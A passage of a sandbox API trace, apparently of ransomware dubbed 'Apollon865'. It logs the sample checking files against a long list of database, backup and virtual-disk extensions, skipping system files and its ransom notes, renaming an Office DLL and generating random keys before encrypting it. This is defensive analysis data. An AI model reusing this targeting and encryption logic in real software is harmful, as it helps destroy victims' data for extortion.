	[0080.897] lstrlenW (lpString="maw") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1
	[0080.897] lstrlenW (lpString="mdbhtml") returned 7
	[0080.897] lstrcmpiW (lpString1="trx_dll", lpString2="mdbhtml") returned 1
	[0080.897] lstrlenW (lpString="mdn") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1
	[0080.897] lstrlenW (lpString="mdt") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1
	[0080.897] lstrlenW (lpString="mfd") returned 3
	[0080.897] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1
	[0080.897] lstrlenW (lpString="mpd") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1
	[0080.898] lstrlenW (lpString="mrg") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1
	[0080.898] lstrlenW (lpString="mud") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1
	[0080.898] lstrlenW (lpString="mwb") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1
	[0080.898] lstrlenW (lpString="myd") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1
	[0080.898] lstrlenW (lpString="ndf") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1
	[0080.898] lstrlenW (lpString="nnt") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1
	[0080.898] lstrlenW (lpString="nrmlib") returned 6
	[0080.898] lstrcmpiW (lpString1="rx_dll", lpString2="nrmlib") returned 1
	[0080.898] lstrlenW (lpString="ns2") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1
	[0080.898] lstrlenW (lpString="ns3") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1
	[0080.898] lstrlenW (lpString="ns4") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1
	[0080.898] lstrlenW (lpString="nsf") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0080.898] lstrlenW (lpString="nv") returned 2
	[0080.898] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0080.898] lstrlenW (lpString="nv2") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0080.898] lstrlenW (lpString="nwdb") returned 4
	[0080.898] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0080.898] lstrlenW (lpString="nyf") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0080.898] lstrlenW (lpString="odb") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.898] lstrlenW (lpString="odb") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0080.898] lstrlenW (lpString="oqy") returned 3
	[0080.898] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0080.899] lstrlenW (lpString="ora") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0080.899] lstrlenW (lpString="orx") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0080.899] lstrlenW (lpString="owc") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0080.899] lstrlenW (lpString="p96") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0080.899] lstrlenW (lpString="p97") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0080.899] lstrlenW (lpString="pan") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0080.899] lstrlenW (lpString="pdb") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0080.899] lstrlenW (lpString="pdm") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0080.899] lstrlenW (lpString="pnz") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0080.899] lstrlenW (lpString="qry") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0080.899] lstrlenW (lpString="qvd") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0080.899] lstrlenW (lpString="rbf") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0080.899] lstrlenW (lpString="rctd") returned 4
	[0080.899] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0080.899] lstrlenW (lpString="rod") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0080.899] lstrlenW (lpString="rodx") returned 4
	[0080.899] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0080.899] lstrlenW (lpString="rpd") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0080.899] lstrlenW (lpString="rsd") returned 3
	[0080.899] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0080.899] lstrlenW (lpString="sas7bdat") returned 8
	[0080.899] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0080.899] lstrlenW (lpString="sbf") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0080.900] lstrlenW (lpString="scx") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0080.900] lstrlenW (lpString="sdb") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0080.900] lstrlenW (lpString="sdc") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0080.900] lstrlenW (lpString="sdf") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0080.900] lstrlenW (lpString="sis") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0080.900] lstrlenW (lpString="spq") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0080.900] lstrlenW (lpString="te") returned 2
	[0080.900] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0080.900] lstrlenW (lpString="teacher") returned 7
	[0080.900] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0080.900] lstrlenW (lpString="tmd") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0080.900] lstrlenW (lpString="tps") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0080.900] lstrlenW (lpString="trc") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.900] lstrlenW (lpString="trc") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0080.900] lstrlenW (lpString="trm") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0080.900] lstrlenW (lpString="udb") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0080.900] lstrlenW (lpString="udl") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0080.900] lstrlenW (lpString="usr") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0080.900] lstrlenW (lpString="v12") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0080.900] lstrlenW (lpString="vis") returned 3
	[0080.900] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0080.901] lstrlenW (lpString="vpd") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0080.901] lstrlenW (lpString="vvv") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0080.901] lstrlenW (lpString="wdb") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0080.901] lstrlenW (lpString="wmdb") returned 4
	[0080.901] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0080.901] lstrlenW (lpString="wrk") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0080.901] lstrlenW (lpString="xdb") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0080.901] lstrlenW (lpString="xld") returned 3
	[0080.901] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0080.901] lstrlenW (lpString="xmlff") returned 5
	[0080.901] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0080.901] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.Apollon865") returned 83
	[0080.901] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0080.903] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\grintl32.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.903] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=47456) returned 1
	[0080.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.903] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.903] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.904] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.904] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.904] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc60, lpName=0x0) returned 0x15c
	[0080.905] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc60) returned 0x100000
	[0080.911] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.912] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.912] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.912] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0080.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0080.912] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.912] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.913] CloseHandle (hObject=0x15c) returned 1
	[0080.913] CloseHandle (hObject=0x9c) returned 1
	[0080.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.913] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.913] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74912800, ftCreationTime.dwHighDateTime=0x1cac7f7, ftLastAccessTime.dwLowDateTime=0xeedf6c30, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x74912800, ftLastWriteTime.dwHighDateTime=0x1cac7f7, nFileSizeHigh=0x0, nFileSizeLow=0x39960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GRINTL32.REST.trx_dll", cAlternateFileName="GRINTL~2.TRX")) returned 1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".") returned 1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="..") returned 1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="windows") returned -1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="bootmgr") returned 1
	[0080.913] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="temp") returned -1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="pagefile.sys") returned -1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="boot") returned 1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="ids.txt") returned -1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="ntuser.dat") returned -1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="perflogs") returned -1
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2="MSBuild") returned -1
	[0080.914] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0080.914] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\GRINTL32.DLL.trx_dll") returned 72
	[0080.914] lstrcpyW (in: lpString1=0x119e670, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0080.914] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0080.914] lstrlenW (lpString="Apollon865") returned 10
	[0080.914] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0080.914] lstrlenW (lpString=".dll") returned 4
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0080.914] lstrlenW (lpString=".lnk") returned 4
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0080.914] lstrlenW (lpString=".ini") returned 4
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0080.914] lstrlenW (lpString=".sys") returned 4
	[0080.914] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0080.914] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0080.914] lstrlenW (lpString="bak") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0080.914] lstrlenW (lpString="ba_") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0080.914] lstrlenW (lpString="dbb") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0080.914] lstrlenW (lpString="vmdk") returned 4
	[0080.914] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0080.914] lstrlenW (lpString="rar") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0080.914] lstrlenW (lpString="zip") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0080.914] lstrlenW (lpString="tgz") returned 3
	[0080.914] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0080.914] lstrlenW (lpString="vbox") returned 4
	[0080.915] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0080.915] lstrlenW (lpString="vdi") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0080.915] lstrlenW (lpString="vhd") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0080.915] lstrlenW (lpString="vhdx") returned 4
	[0080.915] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0080.915] lstrlenW (lpString="avhd") returned 4
	[0080.915] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0080.915] lstrlenW (lpString="db") returned 2
	[0080.915] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0080.915] lstrlenW (lpString="db2") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0080.915] lstrlenW (lpString="db3") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0080.915] lstrlenW (lpString="dbf") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0080.915] lstrlenW (lpString="mdf") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0080.915] lstrlenW (lpString="mdb") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0080.915] lstrlenW (lpString="sql") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0080.915] lstrlenW (lpString="sqlite") returned 6
	[0080.915] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0080.915] lstrlenW (lpString="sqlite3") returned 7
	[0080.915] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0080.915] lstrlenW (lpString="sqlitedb") returned 8
	[0080.915] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0080.915] lstrlenW (lpString="xml") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0080.915] lstrlenW (lpString="$er") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0080.915] lstrlenW (lpString="4dd") returned 3
	[0080.915] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0080.915] lstrlenW (lpString="4dl") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0080.916] lstrlenW (lpString="^^^") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0080.916] lstrlenW (lpString="abs") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0080.916] lstrlenW (lpString="abx") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0080.916] lstrlenW (lpString="accdb") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0080.916] lstrlenW (lpString="accdc") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0080.916] lstrlenW (lpString="accde") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0080.916] lstrlenW (lpString="accdr") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0080.916] lstrlenW (lpString="accdt") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0080.916] lstrlenW (lpString="accdw") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0080.916] lstrlenW (lpString="accft") returned 5
	[0080.916] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0080.916] lstrlenW (lpString="adb") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.916] lstrlenW (lpString="adb") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0080.916] lstrlenW (lpString="ade") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0080.916] lstrlenW (lpString="adf") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0080.916] lstrlenW (lpString="adn") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0080.916] lstrlenW (lpString="adp") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0080.916] lstrlenW (lpString="alf") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0080.916] lstrlenW (lpString="ask") returned 3
	[0080.916] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0080.917] lstrlenW (lpString="btr") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0080.917] lstrlenW (lpString="cat") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0080.917] lstrlenW (lpString="cdb") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0080.917] lstrlenW (lpString="ckp") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0080.917] lstrlenW (lpString="cma") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0080.917] lstrlenW (lpString="cpd") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0080.917] lstrlenW (lpString="dacpac") returned 6
	[0080.917] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0080.917] lstrlenW (lpString="dad") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0080.917] lstrlenW (lpString="dadiagrams") returned 10
	[0080.917] lstrcmpiW (lpString1="ST.trx_dll", lpString2="dadiagrams") returned 1
	[0080.917] lstrlenW (lpString="daschema") returned 8
	[0080.917] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0080.917] lstrlenW (lpString="db-journal") returned 10
	[0080.917] lstrcmpiW (lpString1="ST.trx_dll", lpString2="db-journal") returned 1
	[0080.917] lstrlenW (lpString="db-shm") returned 6
	[0080.917] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0080.917] lstrlenW (lpString="db-wal") returned 6
	[0080.917] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0080.917] lstrlenW (lpString="dbc") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0080.917] lstrlenW (lpString="dbs") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0080.917] lstrlenW (lpString="dbt") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0080.917] lstrlenW (lpString="dbv") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0080.917] lstrlenW (lpString="dbx") returned 3
	[0080.917] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0080.918] lstrlenW (lpString="dcb") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0080.918] lstrlenW (lpString="dct") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0080.918] lstrlenW (lpString="dcx") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0080.918] lstrlenW (lpString="ddl") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0080.918] lstrlenW (lpString="dlis") returned 4
	[0080.918] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0080.918] lstrlenW (lpString="dp1") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0080.918] lstrlenW (lpString="dqy") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0080.918] lstrlenW (lpString="dsk") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0080.918] lstrlenW (lpString="dsn") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0080.918] lstrlenW (lpString="dtsx") returned 4
	[0080.918] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0080.918] lstrlenW (lpString="dxl") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0080.918] lstrlenW (lpString="eco") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0080.918] lstrlenW (lpString="ecx") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0080.918] lstrlenW (lpString="edb") returned 3
	[0080.918] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0080.918] lstrlenW (lpString="epim") returned 4
	[0080.918] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0080.919] lstrlenW (lpString="fcd") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0080.919] lstrlenW (lpString="fdb") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0080.919] lstrlenW (lpString="fic") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0080.919] lstrlenW (lpString="flexolibrary") returned 12
	[0080.919] lstrcmpiW (lpString1="REST.trx_dll", lpString2="flexolibrary") returned 1
	[0080.919] lstrlenW (lpString="fm5") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0080.919] lstrlenW (lpString="fmp") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0080.919] lstrlenW (lpString="fmp12") returned 5
	[0080.919] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0080.919] lstrlenW (lpString="fmpsl") returned 5
	[0080.919] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0080.919] lstrlenW (lpString="fol") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0080.919] lstrlenW (lpString="fp3") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0080.919] lstrlenW (lpString="fp4") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0080.919] lstrlenW (lpString="fp5") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0080.919] lstrlenW (lpString="fp7") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0080.919] lstrlenW (lpString="fpt") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0080.919] lstrlenW (lpString="frm") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0080.919] lstrlenW (lpString="gdb") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.919] lstrlenW (lpString="gdb") returned 3
	[0080.919] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0080.919] lstrlenW (lpString="grdb") returned 4
	[0080.920] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0080.920] lstrlenW (lpString="gwi") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0080.920] lstrlenW (lpString="hdb") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0080.920] lstrlenW (lpString="his") returned 3
	[0080.920] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0080.920] lstrlenW (lpString="ib") returned 2
